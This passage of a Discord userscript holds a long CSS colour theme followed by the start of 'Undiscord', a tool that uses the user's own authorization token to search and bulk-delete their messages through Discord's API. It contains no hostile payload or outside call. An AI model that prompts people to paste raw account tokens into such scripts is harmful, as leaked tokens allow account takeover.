color: #ea00d9;
}
.theme-dark .option-96V44q.user-O3Czj0 .displayUsername-Qekxml {
color: #711c91;
}
.theme-dark .searchResultChannelCategory-1l0lSn, .theme-dark .searchResultChannelIcon-1DnTme {
color: #0abdc6;
}
.theme-dark .jumpButton-Ia2hRJ {
background-color: #133e7c;
color: #0abdc6;
}
.theme-dark .jumpButton-Ia2hRJ:hover {
background-color: #711c91;
color: #0abdc6;
}
/* 6.2.1. Search results */
.theme-dark .searchAnswer-3Dz2-q, .theme-dark .searchFilter-2ESiM3 {
background-color: #000b1e;
color: #0abdc6;
}
.theme-dark .searchHeader-1l-wpR .tab-2Ixsn0, .theme-dark .searchHeader-1l-wpR .totalResults-gxvzgw {
color: #0abdc6;
}
.theme-dark .searchHeader-1l-wpR {
background-color: #000b1e;
-webkit-box-shadow: 0 1px 0 rgba(0,0,0,.2);
box-shadow: 0 1px 0 rgba(0,0,0,.2);
}
.theme-dark .searchHeader-1l-wpR .tab-2Ixsn0.selected-16te-P, .theme-dark .searchHeader-1l-wpR .tab-2Ixsn0:hover {
border-bottom: 2px solid #ea00d9;
}
.theme-dark .channelSeparator-1X1FuH .channelName-1QajIf {
color: #0abdc6;
background-color: #000b1e;
}
.theme-dark .channelSeparator-1X1FuH:before {
border-color: #0abdc6;
}
.theme-dark .searchResultsWrap-2DKFzt {
background-color: #000b1e;
}
.theme-dark .searchResult-3pzFAB .hit-NLlWXA {
background-color: #091833;
-webkit-box-shadow: 0 0 10px 6px #133e7c;
box-shadow: 0 0 10px 6px #133e7c;
}
.theme-dark .searchResult-3pzFAB .searchResultMessage-2VxO12.hit-NLlWXA {
border: 2px solid rgba(19, 62, 124,.6);
}
.theme-dark .searchResult-3pzFAB:after {
background-image: -webkit-gradient(linear,left top,left bottom,from(#000b1e),to(#091833));
background-image: linear-gradient(180deg,#000b1e,#091833);
}
.theme-dark .searchResult-3pzFAB:before {
background-image: -webkit-gradient(linear,left bottom,left top,from(#000b1e),to(#091833));
background-image: linear-gradient(0deg,#000b1e,#091833);
}
.theme-dark .emptyResultsWrap-3Kv0LQ, .theme-dark .errorWrap-MWdRCA {
color: #0abdc6;
}
.theme-dark .searchResult-3pzFAB.expanded-v2Szsz .searchResultMessage-2VxO12.hit-NLlWXA {
border-top: 2px solid rgba(10, 189, 198, .6);
border-bottom: 2px solid rgba(10, 189, 198, .6);
background-color: #133e7c;
}
.highlight {
background: rgba(113, 28, 145, .8);
}
/* 6.3. Mentions */
#app-mount > div:nth-child(4) > div.popouts-2bnG9Z.da-popouts > div > div > div.header-ykumBX.da-header.header-2Kf7Yu.da-header.header-3LXPrb.da-header > div.headerTabBarWrapper-27xBDe.da-headerTabBarWrapper > div.tabBar-2UKwcE.da-tabBar.top-28JiJ- > div {
color: #0abdc6 !important;
}
.theme-dark .mentionFilter-1PQ6ey .label-12YslM {
color: rgba(10, 189, 198, .8);
}
.theme-dark .mentionFilter-1PQ6ey .value-2k8Drt {
color: #0abdc6;
}
/* 7. Member list */
.theme-dark .headerNormal-T_seeN {
background-color: #000b1e;
}
.userPopout-3XzG_A {
-webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6);
box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6);
}
.headerName-fajvi9, .headerTagUsernameNoNickname-2_H881 {
color: #0abdc6;
}
.headerTag-2pZJzA {
color: rgba(10, 189, 198, .6);
}
.theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 {
background-color: #091833;
}
.bodyTitle-Y0qMQz {
color: rgba(10, 189, 198, .8);
}
.theme-dark .quickMessage-1yeL4E {
background-color: #133e7c;
border-color: #000b1e;
color: #0abdc6;
}
.statusGreen-168O6Q {
color: #00ff00;
}
.theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 {
color: rgba(10, 189, 198, .8);
}
/* 7.1. Member playing */
.headerPlaying-j0WQBV, .headerStreaming-2FjmGz {
background: #711c91;
}
.theme-dark .activityProfile-2bJRaP .headerText-1HLrL7, .theme-dark .activityUserPopout-2yItg2 .headerText-1HLrL7, .theme-light .activityProfile-2bJRaP .headerText-1HLrL7, .theme-light .activityUserPopout-2yItg2 .headerText-1HLrL7 {
color: #0abdc6;
}
.activityName-1IaRLn {
color: #0abdc6;
}
.theme-dark .activityProfile-2bJRaP .content-3JfFJh, .theme-dark .activityProfile-2bJRaP .details-38sfDr, .theme-dark .activityProfile-2bJRaP .name-29ETJS, .theme-dark .activityUserPopout-2yItg2 .content-3JfFJh, .theme-dark .activityUserPopout-2yItg2 .details-38sfDr, .theme-dark .activityUserPopout-2yItg2 .name-29ETJS, .theme-light .activityProfile-2bJRaP .content-3JfFJh, .theme-light .activityProfile-2bJRaP .details-38sfDr, .theme-light .activityProfile-2bJRaP .name-29ETJS, .theme-light .activityUserPopout-2yItg2 .content-3JfFJh, .theme-light .activityUserPopout-2yItg2 .details-38sfDr, .theme-light .activityUserPopout-2yItg2 .name-29ETJS {
color: rgba(10, 189, 198, .8);
}
/* 8. Library */
/* 8.1. Gifts Inventory */
.theme-dark .header-3YT7-d {
color: #0abdc6;
}
.theme-dark .inputPrompt-1vnYnD {
color: #0abdc6;
}
.theme-dark .emptyStateHeader-1ADtcL, .theme-dark .header-2HrZI4 {
color: #0abdc6;
}
.theme-dark .emptyStateSubtext-2njjqg {
color: #0abdc6;
}
/* 9. Friends */
.theme-dark .container-1D34oG {
background-color: #091833;
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5) {
background-color: #133e7c !important;
color: #0abdc6 !important;
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5):hover {
background-color: #711c91 !important;
}
.friendsTable-133bsv .friendsRow-2yicud .friendsColumnActions-1LT3_M .friendsAction-__WNE9.actionDeny-18IZiW:hover {
background-color: #ff0000!important;
color: #d7d7d5;
}
.theme-dark .inset-3sAvek {
background-color: rgba(19, 62, 124, .6);
}
.theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover {
background-color: #091833;
}
div.item-3HknzM:nth-child(5) {
color: #0abdc6 !important;
background-color: #133e7c !important;
}
div.item-3HknzM:nth-child(5):hover {
background-color: #711c91 !important;
}
/* 9.1. Groups */
.theme-dark .subtitle-2P4u9v {
color: #0abdc6;
}
.theme-dark .friend-3KALPe {
color: #0abdc6;
}
.lookFilled-1Gx00P.colorBrand-3pXr91:disabled {
background-color: rgba(19, 62, 124, .6);
}
.theme-dark .friendSelected-1sa4bG {
background-color: rgba(19, 62, 124, .6);
}
/* 9.2. Friend PLaying Modal */
.topSectionPlaying-1J5E4n {
background: #711c91;
}
.username-3gJmXY {
color: #0abdc6;
}
.discriminator-xUhQkU {
color: #0abdc6;
}
.additionalActionsIcon-1FoUlE {
color: #0abdc6;
}
#app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.topSectionPlaying-1J5E4n.da-topSectionPlaying > div > div.tabBarContainer-1s1u-z.da-tabBarContainer > div > div {
color: #0abdc6 !important;
}
/* 9.3. Call */
.theme-dark .transparent-2ZlE3R.container-1r6BKw, .theme-light .transparent-2ZlE3R.container-1r6BKw {
background: #000b1e;
}
.theme-dark .transparent-2ZlE3R .icon-22AiRD, .theme-light .transparent-2ZlE3R .icon-22AiRD {
color: #0abdc6;
}
.theme-dark .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8), .theme-light .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8) {
color: #0abdc6;
}
.theme-dark .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD {
color: #ea00d9;
}
.theme-dark .transparent-2ZlE3R .clickable-3rdHwn .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD {
color: #0abdc6;
}
.theme-dark .wrapper-29NfPK {
background-color: #000b1e !important;
}
.video-1FfuMD {
background-color: #000b1e !important;
}
.theme-dark .quickSelect-3BxO0K {
color: #0abdc6;
}
.lookFilled-1Gx00P.colorGreen-29iAKY:hover {
background-color: #711c91;
}
.lookFilled-1Gx00P.colorGreen-29iAKY {
color: #0abdc6;
background-color: #133e7c;
}
.theme-dark .wrapper-29NfPK.minimum-2d6zH6 .actions-2vadYq .center-1Vp33r {
border-color: #091833;
background-color: #091833;
}
.lookFilled-1Gx00P.colorRed-1TFJan {
color: #0abdc6;
background-color: #133e7c;
}
.lookFilled-1Gx00P.colorRed-1TFJan:hover {
background-color: #711c91;
}
.theme-dark .quickSelectPopout-X1hvgV {
background: #000b1e;
color: #0abdc6;
}
.theme-dark .regionSelectName-c5qL8O {
color: #0abdc6;
}
.theme-dark .quickSelectPopoutOption-opKBx9:hover {
background-color: #133e7c;
}
.theme-dark .incomingCallInner-2VmFiR {
background: #000b1e;
border-color: #0abdc6;
}
.theme-dark .container-3-pyIM .content-2M3n_H .actionAnchor-gzc_5z {
color: #ea00d9;
}
/* 9.4. Video Call */
.colorable-1bkp8v.green-plH-Mj {
background: #133e7c;
}
.colorable-1bkp8v.green-plH-Mj, .colorable-1bkp8v.green-plH-Mj .centerIcon-2G6o-T {
color: #0abdc6;
}
.colorable-1bkp8v.green-plH-Mj.active-1QRrIS {
background: #133e7c;
}
.colorable-1bkp8v.green-plH-Mj:hover {
background: #711c91;
}
.colorable-1bkp8v.red-33-Lnk.active-1QRrIS, .colorable-1bkp8v.red-33-Lnk:hover {
background: #711c91;
}
.colorable-1bkp8v.red-33-Lnk, .colorable-1bkp8v.red-33-Lnk .centerIcon-2G6o-T {
color: #0abdc6;
}
.colorable-1bkp8v.red-33-Lnk {
background: #133e7c;
}
.colorable-1bkp8v.primaryDark-3mSFDl, .colorable-1bkp8v.primaryDark-3mSFDl .centerIcon-2G6o-T {
color: #0abdc6;
}
.colorable-1bkp8v.primaryDark-3mSFDl {
background: #133e7c;
}
.colorable-1bkp8v.primaryDark-3mSFDl:hover {
background: #711c91;
}
.colorDefault-2K3EoJ.focused-3afm-j {
background-color: #711c91;
color: #0abdc6;
}
.colorable-1bkp8v.primaryDark-3mSFDl.active-1QRrIS {
background: #ea00d9;
}
.colorDefault-2K3EoJ .checkbox-3s5GYZ, .colorDefault-2K3EoJ .radioSelection-1HmrQS {
color: #711c91;
}
.colorDefault-2K3EoJ.focused-3afm-j .checkbox-3s5GYZ, .colorDefault-2K3EoJ.focused-3afm-j .radioSelection-1HmrQS, .colorDefault-2K3EoJ.focused-3afm-j .subtext-13Lvrj {
color: #ea00d9;
}
.controlIcon-35oS15 {
color: #0abdc6;
}
.controlIcon-35oS15:hover {
color: #ea00d9;
}
/* 10. Quickswitcher */
.theme-dark .keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom g {
fill: #0abdc6;
}
.tutorialMessages-12mfId {
color: #0abdc6;
}
/* 11. Settings */
.theme-dark #bd-settings-sidebar .ui-tab-bar-header {
color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-item {
color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-separator {
background-color: rgba(10, 189, 198, .2);
}
.theme-dark .foreground-26ym5y {
fill: #0abdc6;
}
.theme-dark .link-1IoFq-:hover .foreground-26ym5y {
fill: #ea00d9;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-header {
color: #0abdc6;
}
#bd-settings-sidebar > span > div {
color: #0abdc6 !important;
}
#user-settings > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(26) {
color: #ff0000 !important;
}
/* 11.1. Apps */
.lookOutlined-3sRXeN.colorRed-1TFJan:hover {
border-color: #ff0000;
}
.lookOutlined-3sRXeN.colorRed-1TFJan {
color: #ff0000;
border-color: rgba(255,0,0,.4);
}
/* 11.2. Connections */
.connectionHeader-2MDqhu {
background: rgba(0, 11, 30, 1);
border-bottom: 1px solid rgba(19, 62, 124, .15);
}
.connectionHeader-2MDqhu .connectionAccountValue-3VdBGs {
color: #0abdc6;
}
.subEnabledTitle-2ElRo_ {
color: #ea00d9;
}
/* 11.3. Payments */
.theme-dark .codeRedemptionRedirect-1wVR4b {
color: #0abdc6;
background-color: #000b1e;
border-color: #133e7c;
}
.theme-dark .subText-2Zhkkh, .theme-light .subText-2Zhkkh {
color: rgba(10, 189, 198, .6);
}
/* 11.4. Nitro */
.theme-dark .tier1Banner-1B_WXY {
background-color: #000b1e;
color: #0abdc6;
}
.theme-dark .iconIncluded-2xYFq5 {
color: #00ff00;
}
/* 11.4. Voice */
.barFill-23-gu- {
background: #ea00d9;
}
.grabber-3mFHz2 {
background-color: #0abdc6;
border: 1px solid #0abdc6;
}
.theme-dark .bar-2Qqk5Z {
background: #133e7c;
}
.theme-dark .progress-1IcQ3A {
background: #133e7c;
}
.theme-dark .bubble-3we2di {
background-color: #000b1e;
}
.theme-dark .bubble-3we2di:before {
border-top-color: #000b1e;
}
.bubble-3we2di {
color: #ea00d9;
}
.theme-dark .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC {
background-color: #000b1e;
border-color: #133e7c;
}
/* 11.5. Game Activity */
.theme-dark .notDetected-33MY4s, .theme-light .notDetected-33MY4s {
background-color: #133e7c;
}
.theme-dark .notDetected-33MY4s .gameName-1RiWHm, .theme-light .notDetected-33MY4s .gameName-1RiWHm {
color: #0abdc6;
}
.theme-dark .notDetected-33MY4s .lastPlayed-3bQ7Bo, .theme-light .notDetected-33MY4s .lastPlayed-3bQ7Bo {
color: #0abdc6;
}
.theme-dark .nowPlayingAdd-1Kdmh_, .theme-light .nowPlayingAdd-1Kdmh_ {
color: #0abdc6;
}
.theme-dark .gameName-1RiWHm {
color: #ea00d9;
}
.theme-dark .lastPlayed-3bQ7Bo, .theme-dark .overlayStatusText-L2IACa {
color: #0abdc6;
}
.theme-dark .game-1ipmAa {
-webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6);
box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6);
}
/* 11.6. Change history */
.theme-dark .root-1gCeng {
background-color: #091833;
}
.theme-dark .date-2WJGyu {
color: #0abdc6;
}
.added-e1Pp41 {
color: #00ff00;
}
.added-e1Pp41:after {
background-color: #00ff00;
}
.theme-dark .content-8biNdB p, .theme-dark .content-8biNdB ul li {
color: #0abdc6;
}
.theme-dark .content-8biNdB ul li:before {
background-color: #0abdc6;
}
.fixed-22Vcez {
color: #ff0000;
}
.fixed-22Vcez:after {
background-color: #ff0000;
}
.progress-1fjoBz {
color: #f57800;
}
.progress-1fjoBz:after {
background-color: #f57800;
}
.improved-1F5LIN {
color: #ea00d9;
}
.improved-1F5LIN:after {
background-color: #ea00d9;
}
/* 11.7. Other */
.ghostPill-2-KUPM {
color: #ffff00;
background-color: rgba(19, 62, 124, .3);
}
.theme-dark .searchResultsContainer-1ma_dc {
background-color: #000b1e;
-webkit-box-shadow: 0 1px 5px 1px #133e7c;
box-shadow: 0 1px 5px 1px #133e7c;
}
.theme-dark .searchOption-8nCYo-.selected-1r_nkg {
background-color: #133e7c;
}
.theme-dark .emptyUsers--hiToV {
background-color: #000b1e;
border-color: #133e7c;
}
.theme-dark .item-3eFBNF {
-webkit-box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6);
box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6);
}
/* 11.8. BetterDiscord Settings */
.theme-dark #bd-settings-sidebar .ui-tab-bar-item.selected {
background-color: rgba(113, 28, 145, .6);
color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-item:hover {
background-color: rgba(19, 62, 124, .6);
color: #0abdc6;
}
.theme-dark #bd-settingspane-container h2.ui-form-title {
color: #0abdc6;
}
.theme-dark #bd-settingspane-container .ui-switch-item h3 {
color: #ea00d9;
}
.theme-dark #bd-settingspane-container .ui-switch-item .style-description {
color: #0abdc6;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch {
background: #133e7c;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch:before {
background: #0abdc6;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch.checked {
background: #711c91;
}
.bd-pfbtn {
background: #133e7c;
color: #0abdc6;
}
.bd-pfbtn:hover {
background: #711c91;
color: #0abdc6;
}
.theme-dark .bda-slist li {
background-color: #000b1e;
color: #0abdc6;
border-color: #133e7c;
}
.theme-dark .bda-slist .bda-header {
color: #0abdc6;
border-bottom-color: rgba(19, 62, 124, 0.5);
}
.theme-dark .bda-slist .bda-description {
color: rgba(10, 189, 198, .7);
}
.bda-slist .bda-footer a {
color: #ea00d9;
}
.bda-slist .bda-footer button {
background: #133e7c;
color: #0abdc6;
}
#bd-settings-sidebar div {
color: #0abdc6 !important;
}
.bd-toast.toast-success {
background-color: #711c91;
color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached h3 {
color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached button {
background: #133e7c;
color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached button:hover {
background: #711c91;
color: #0abdc6;
}
/* 12. Dialogs */
/* 12.1. Quality Survey */
.theme-dark .header-sJd8D7 {
color: #0abdc6;
}
.theme-dark .footer-2gL1pp {
background-color: #000b1e;
-webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.theme-dark .checkbox-3kaeSU .checkboxInner-3yjcPe span {
border-color: #0abdc6;
}
/* 12.2. New Device Dialog */
.lookLink-9FtZy-.colorBrand-3pXr91 {
color: #ea00d9;
}
/* 12.3. News */
.theme-dark .date-1k6kG2 {
color: #0abdc6;
}
.added-2hLRj3 {
color: #00ff00;
}
.added-2hLRj3::after {
background-color: #00ff00;
}
.theme-dark .content-s2SEQO ol, .theme-dark .content-s2SEQO p, .theme-dark .content-s2SEQO ul li {
color: #0abdc6;
}
.content-s2SEQO a {
color: #ea00d9;
}
.progress-YsDrV- {
color: #f57800;
}
.progress-YsDrV-::after {
background-color: #f57800;
}
.fixed-3zCC84 {
color: #ff0000;
}
.fixed-3zCC84::after {
background-color: #ff0000;
}
.theme-dark .content-s2SEQO ul li::before {
background-color: #0abdc6;
}
/* 12.4. Desktop App */
.noticeDefault-362Ko2 {
background-color: rgba(113, 28, 145, .6);
color: #0abdc6;
}
.theme-dark .button-1MICoQ, .theme-light .button-1MICoQ {
background-color: #133e7c;
}
.button-1MICoQ {
border: 1px solid #0abdc6;
color: #0abdc6;
}
.theme-dark .button-1MICoQ:hover, .theme-light .button-1MICoQ:hover {
border-color: #0abdc6;
background-color: #711c91;
}
.noticeDefault-362Ko2 .button-1MICoQ:hover {
color: #0abdc6;
}
/* 13. Transparency */
.theme-dark {
--background-primary: rgba(9, 24, 51, .4);
--background-secondary: rgba(0, 11, 30, .4);
--background-tertiary: rgba(0, 11, 30, .4);
--deprecated-panel-background: rgba(9, 24, 51, .4);
--channeltextarea-background: rgba(19, 62, 124, .7);
--background-secondary-alt: rgba(9, 24, 51, .7)
}
.theme-dark .container-1D34oG {
background-color: rgba(9, 24, 51, .4)
}
.theme-dark .inset-3sAvek {
background-color: rgba(19, 62, 124, .2);
}
.theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover {
background-color: rgba(9, 24, 51, .4)
}
`;
if (typeof GM_addStyle !== "undefined") {
GM_addStyle(css);
} else {
let styleNode = document.createElement("style");
styleNode.appendChild(document.createTextNode(css));
(document.querySelector("head") || document.documentElement).appendChild(styleNode);
}
})();
async function deleteMessages(authToken, authorId, guildId, channelId, minId, maxId, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, extLogger, stopHndl, onProgress) {
const start = new Date();
let delCount = 0;
let failCount = 0;
let avgPing;
let lastPing;
let grandTotal;
let throttledCount = 0;
let throttledTotalTime = 0;
let offset = 0;
let iterations = -1;
const wait = async ms => new Promise(done => setTimeout(done, ms));
const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&', '<': '<', '"': '"', '\'': ''' })[m]);
const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
const ask = async msg => new Promise(resolve => setTimeout(() => resolve(window.confirm(msg)), 10));
const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing | 0}ms`);
const toSnowflake = (date) => /:/.test(date) ? ((new Date(date).getTime() - 1420070400000) * Math.pow(2, 22)) : date;
const log = {
debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
};
async function recurse() {
let API_SEARCH_URL;
if (guildId === '@me') {
API_SEARCH_URL = `https://discord.com/api/v6/channels/${channelId}/messages/`; // DMs
}
else {
API_SEARCH_URL = `https://discord.com/api/v6/guilds/${guildId}/messages/`; // Server
}
const headers = {
'Authorization': authToken
};
let resp;
try {
const s = Date.now();
resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
['author_id', authorId || undefined],
['channel_id', (guildId !== '@me' ? channelId : undefined) || undefined],
['min_id', minId ? toSnowflake(minId) : undefined],
['max_id', maxId ? toSnowflake(maxId) : undefined],
['sort_by', 'timestamp'],
['sort_order', 'desc'],
['offset', offset],
['has', hasLink ? 'link' : undefined],
['has', hasFile ? 'file' : undefined],
['content', content || undefined],
['include_nsfw', includeNsfw ? true : undefined],
]), { headers });
lastPing = (Date.now() - s);
avgPing = avgPing > 0 ? (avgPing * 0.9) + (lastPing * 0.1) : lastPing;
} catch (err) {
return log.error('Search request threw an error:', err);
}
// not indexed yet
if (resp.status === 202) {
const w = (await resp.json()).retry_after;
throttledCount++;
throttledTotalTime += w;
log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
await wait(w);
return await recurse();
}
if (!resp.ok) {
// searching messages too fast
if (resp.status === 429) {
const w = (await resp.json()).retry_after;
throttledCount++;
throttledTotalTime += w;
searchDelay += w; // increase delay
log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`);
printDelayStats();
log.verb(`Cooling down for ${w * 2}ms before retrying...`);
await wait(w * 2);
return await recurse();
} else {
return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
}
}
const data = await resp.json();
const total = data.total_results;
if (!grandTotal) grandTotal = total;
const discoveredMessages = data.messages.map(convo => convo.find(message => message.hit === true));
const messagesToDelete = discoveredMessages.filter(msg => {
return msg.type === 0 || msg.type === 6 || (msg.pinned && includePinned);
});
const skippedMessages = discoveredMessages.filter(msg => !messagesToDelete.find(m => m.id === msg.id));
const end = () => {
log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
printDelayStats();
log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`);
}
const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, To be deleted: ${messagesToDelete.length}, System: ${skippedMessages.length})`, `offset: ${offset}`);
printDelayStats();
log.verb(`Estimated time remaining: ${etr}`)
if (messagesToDelete.length > 0) {
if (++iterations < 1) {
log.verb(`Waiting for your confirmation...`);
if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +
messagesToDelete.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
return end(log.error('Aborted by you!'));
log.verb(`OK`);
}
for (let i = 0; i < messagesToDelete.length; i++) {
const message = messagesToDelete[i];
if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!'));
log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
`Deleting ID:${redact(message.id)} <b>${redact(message.author.username + '#' + message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g, '↵')}</i>`,
message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
if (onProgress) onProgress(delCount + 1, grandTotal);
let resp;
try {
const s = Date.now();
const API_DELETE_URL = `https://discord.com/api/v6/channels/${message.channel_id}/messages/${message.id}`;
resp = await fetch(API_DELETE_URL, {
headers,
method: 'DELETE'
});
lastPing = (Date.now() - s);
avgPing = (avgPing * 0.9) + (lastPing * 0.1);
delCount++;
} catch (err) {
log.error('Delete request throwed an error:', err);
log.verb('Related object:', redact(JSON.stringify(message)));
failCount++;
}
if (!resp.ok) {
// deleting messages too fast
if (resp.status === 429) {
const w = (await resp.json()).retry_after;
throttledCount++;
throttledTotalTime += w;
deleteDelay = w; // increase delay
log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
printDelayStats();
log.verb(`Cooling down for ${w * 2}ms before retrying...`);
await wait(w * 2);
i--; // retry
} else {
log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
log.verb('Related object:', redact(JSON.stringify(message)));
failCount++;
}
}
await wait(deleteDelay);
}
if (skippedMessages.length > 0) {
grandTotal -= skippedMessages.length;
offset += skippedMessages.length;
log.verb(`Found ${skippedMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
}
log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : ''));
await wait(searchDelay);
if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!'));
return await recurse();
} else {
if (total - offset > 0) log.warn('Ended because API returned an empty page.');
return end();
}
}
log.success(`\nStarted at ${start.toLocaleString()}`);
log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" minId="${redact(minId)}" maxId="${redact(maxId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
if (onProgress) onProgress(null, 1);
return await recurse();
}
//---- User interface ----//
let popover;
let btn;
let stop;
function initUI() {
const insertCss = (css) => {
const style = document.createElement('style');
style.appendChild(document.createTextNode(css));
document.head.appendChild(style);
return style;
}
const createElm = (html) => {
const temp = document.createElement('div');
temp.innerHTML = html;
return temp.removeChild(temp.firstElementChild);
}
insertCss(`
#undicord-btn{position: relative; height: 24px;width: auto;-webkit-box-flex: 0;-ms-flex: 0 0 auto;flex: 0 0 auto;margin: 0 8px;cursor:pointer; color: var(--interactive-normal);}
#undiscord{position:fixed;top:100px;right:10px;bottom:10px;width:780px;z-index:99;color:var(--text-normal);background-color:var(--background-secondary);box-shadow:var(--elevation-stroke),var(--elevation-high);border-radius:4px;display:flex;flex-direction:column}
#undiscord a{color:#00b0f4}
#undiscord.redact .priv{display:none!important}
#undiscord:not(.redact) .mask{display:none!important}
#undiscord.redact [priv]{-webkit-text-security:disc!important}
#undiscord .toolbar span{margin-right:8px}
#undiscord button,#undiscord .btn{color:#fff;background:#7289da;border:0;border-radius:4px;font-size:14px}
#undiscord button:disabled{display:none}
#undiscord input[type="text"],#undiscord input[type="search"],#undiscord input[type="password"],#undiscord input[type="datetime-local"],#undiscord input[type="number"]{background-color:#202225;color:#b9bbbe;border-radius:4px;border:0;padding:0 .5em;height:24px;width:144px;margin:2px}
#undiscord input#file{display:none}
#undiscord hr{border-color:rgba(255,255,255,0.1)}
#undiscord .header{padding:12px 16px;background-color:var(--background-tertiary);color:var(--text-muted)}
#undiscord .form{padding:8px;background:var(--background-secondary);box-shadow:0 1px 0 rgba(0,0,0,.2),0 1.5px 0 rgba(0,0,0,.05),0 2px 0 rgba(0,0,0,.05)}
#undiscord .logarea{overflow:auto;font-size:.75rem;font-family:Consolas,Liberation Mono,Menlo,Courier,monospace;flex-grow:1;padding:10px}
`);
popover = createElm(`
<div id="undiscord" style="display:none;">
<div class="header">
Undiscord - Bulk delete messages
</div>
<div class="form">
<div style="display:flex;flex-wrap:wrap;">
<span>Authorization <a
href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authToken.md" title="Help"
target="_blank">?</a> <button id="getToken">get</button><br>
<input type="password" id="authToken" placeholder="Auth Token" autofocus>*<br>
<span>Author <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authorId.md"
title="Help" target="_blank">?</a> <button id="getAuthor">get</button></span>
